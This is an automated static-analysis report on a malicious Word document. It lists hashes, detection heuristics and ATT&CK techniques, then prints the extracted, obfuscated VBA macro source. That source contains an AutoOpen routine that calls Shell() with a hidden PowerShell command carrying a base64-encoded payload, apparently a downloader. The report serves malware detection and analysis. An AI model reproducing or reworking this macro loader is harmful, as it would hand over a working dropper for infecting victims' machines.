Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca3511c14fd0612c…

MALICIOUS

Office (OLE)

95.2 KB Created: 2018-05-28 10:30:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 16910eb3d635060b746006b0a76343a1 SHA-1: ced440812c546498decb544d2eb14462a87a0b52 SHA-256: ca3511c14fd0612c4e160a0ff9d0e6cd4fbbcd408dc9a5ae09662e8ce8654398
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with an Autoopen function that calls Shell(), a critical heuristic. The script attempts to construct and execute a PowerShell command, indicated by the string concatenation 'powershell' + 'Hidden' + 'JgAoACg', which is then passed to the Shell function. This strongly suggests the document's purpose is to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-6735999-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6735999-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15448 bytes
SHA-256: 37443cf0b0160f7d4ab847a56c9eb4a9a1d8352aa9b1faa8c3a067049bd87ab7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "phRaaUTMW"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function jaGhqrnmu()
On Error Resume Next
zRVqc = (hCEmfO * qfTfD - CXknBv * Round(85085)) + (83013 - Rnd(pXfbM) + 63020 + VAMlvq)
imoOtM = (YHCAb * MiUukw - MhGEB * Round(40529)) + (90985 - Rnd(TTStL) + 55337 + BNhwi)
jaGhqrnmu = TFIowZcswD + AkjvFj + wwYKtbQs + KkJNEt + XwpNr + nDcMQTBB + jwCDmwhGrz + XtzawhpiP + wHFYMY + XVfZoWH + lwmNI + JGACpMipW
RPdaks = (rjRBzS * wfkMYR - FojHP * Round(22230)) + (11456 - Rnd(GNlTnv) + 33322 + dRcMSm)
End Function
Sub Autoopen()
On Error Resume Next
RwtvJ = (dUZNX * btTUj - OZDPdf * Round(72705)) + (60875 - Rnd(GuwEv) + 35706 + SKWQwH)
JQpEwP (jaGhqrnmu)
tMGPkp = (KwvjDN * CTOJdT - ZdIbt * Round(79856)) + (52975 - Rnd(wQjHw) + 20119 + WPBqT)
End Sub
Function JQpEwP(PMiWX)
On Error Resume Next
wAVrFn = (qHHSn * Tjwnr - HBzfD * Round(93349)) + (31791 - Rnd(zzwHnA) + 52874 + cmknBL)
rJNTq = (TXcKqL * BVSvoz - tIzim * Round(58709)) + (84724 - Rnd(LDDww) + 68145 + WpcZw)
fviVpDJ = Shell(FowDJPn + Chr(vbKeyP) + lbaHY + PMiWX, vbHide)
ZWzzph = (HUowC * YiJijM - NMYGrP * Round(20575)) + (90276 - Rnd(dSOCkU) + 72995 + hzzSw)
End Function


Attribute VB_Name = "OFwAKXMGwNzSN"
Function TFIowZcswD()
On Error Resume Next
UMvwpw = (KQIMRr * ARFhO - ZzIRz * Round(16630)) + (47553 - Rnd(pMKtO) + 600 + SMzuz)
bwsTj = "owersHeL" + "L -WinDowsTyle " + "hidden -e " + "JgAoACg"
uPpdWA = (OiMvv * SUDiwh - VUDzTC * Round(82339)) + (93314 - Rnd(FGnQti) + 69667 + nbHSz)
wjSprmbi = "AVgBhAFIASQB" + "BAEIATABFA" + "CAAJwAqAE0AZ" + "AByACoAJw" + "ApAC4A" + "TgBhAE0AZQBbA" + "DMALAAxADEALAAy" + "AF0ALQBqA" + "E8AaQBOACcAJw"
zPwjh = (OhANXH * MrJTKJ - cGIioo * Round(69696)) + (69607 - Rnd(WZHXMD) + 66723 + VJHTY)
XdFjGi = "ApACAAKAAoACgA" + "KAAiAHsANgAxA" + "H0AewA0ADkA" + "fQB7ADcAfQB7ADI" + "ANAB9AHsANA"
ZsmEY = (dHzJRi * GTstEi - dnQjNI * Round(17091)) + (79600 - Rnd(ACNEAi) + 73352 + jMIMP)
nHIultHX = "B9AHsA" + "NwA1AH0AewAy" + "ADMAfQB7ADEAMQ" + "B9AHsANAA0" + "AH0Aew" + "AyADYAfQB7ADIA" + "NwB9A" + "HsAMgA4AH0" + "AewA1ADAAfQB" + "7ADcA"
wGiJbA = (QCphbm * DrPSoJ - HEZtYh * Round(82745)) + (18647 - Rnd(WdOLSc) + 58993 + hoVkzY)
IntJbWIhqQN = "MwB9AHsAOAA3AH" + "0AewA0A" + "DcAfQB7ADMAfQB7" + "ADkAMAB9AHsAOAA" + "zAH0AewAxADQAf" + "QB7ADY"
YwJws = (pYFfqC * QDTlG - TDNaK * Round(50491)) + (24630 - Rnd(lzoLH) + 61400 + UcXsR)
LcWRmpljimo = "ANQB9AHsAOQA0" + "AH0Ae" + "wA1ADE" + "AfQB7A" + "DEAMAAxAH0A" + "ewA1ADY" + "AfQB7A" + "DQANgB9AHs" + "ANQA4AH0AewA3"
jFIjba = (hdVji * FULVzY - fDYRTj * Round(43325)) + (12507 - Rnd(bvtoNm) + 95583 + ujzqj)
wiDRl = "ADQAfQB" + "7ADQAMwB9AHsA" + "MwAwAH0" + "AewA1ADQ" + "AfQB7ADgAOQB9AH" + "sAMwA4AH0Aew" + "A4ADEAfQB7AD"
TFIowZcswD = bwsTj + wjSprmbi + XdFjGi + nHIultHX + IntJbWIhqQN + LcWRmpljimo + wiDRl
End Function
Function AkjvFj()
On Error Resume Next
iFhSa = (JGYUmR * hrMsDP - CappbS * Round(43029)) + (13094 - Rnd(QYovut) + 22877 + QvYlUW)
aPmvaQ = "QANQB9A" + "HsAMQA5AH0AewA" + "5ADIAfQB7AD" + "cANwB9AHsA" + "MQAwADUAfQ" + "B7ADEANQB9AHsA"
CwIQM = (rvbzGE * rqHLD - IvzVin * Round(61313)) + (50367 - Rnd(IrAhDQ) + 75344 + JGutZc)
kNYIHVCwE = "NgAzAH0AewA2A" + "DIAfQB7ADUA" + "fQB7ADQ" + "AMAB9AH" + "sAMQB9AHsAOAA" + "wAH0AewA3AD" + "AAfQB7ADkAN" + "QB9AHsAOQA3AH0" + "AewA3ADEAfQB7A"
wopwu = (nMipO * EaacjH - nkwYB * Round(98435)) + (8572 - Rnd(wFIlj) + 36963 + XtwjfB)
vGNzbs = "DAAfQB7ADYAOQB9" + "AHsAOQB9AHs" + "AMgA5AH0AewA" + "5ADEA" + "fQB7ADMANgB9" + "AHsAMQAyA" + "H0AewA0ADEAfQB" + "7ADkA"
iRron = (EjdNlJ * cBPozq - pGZDf * Round(19580)) + (38674 - Rnd(jiwcO) + 36980 + fhMMW)
UVSWL = "OAB9AHsAMgAxAH" + "0AewAxADMAf" + "QB7ADMAN" + "QB9AHsAMQAwA" + "DAAfQB7ADcAOAB9" + "AHsANg" + "B9AHsAOAAyAH0A"
OcvAZ = (HWdKmp * iXrnJc - BCzQJ * Round(90777)) + (41706 - Rnd(VibkU) + 14076 + iiDFfM)
ihtzmBvb = "ewAyADI" + "AfQB7ADQAOAB" + "9AHsAOAA
... (truncated)

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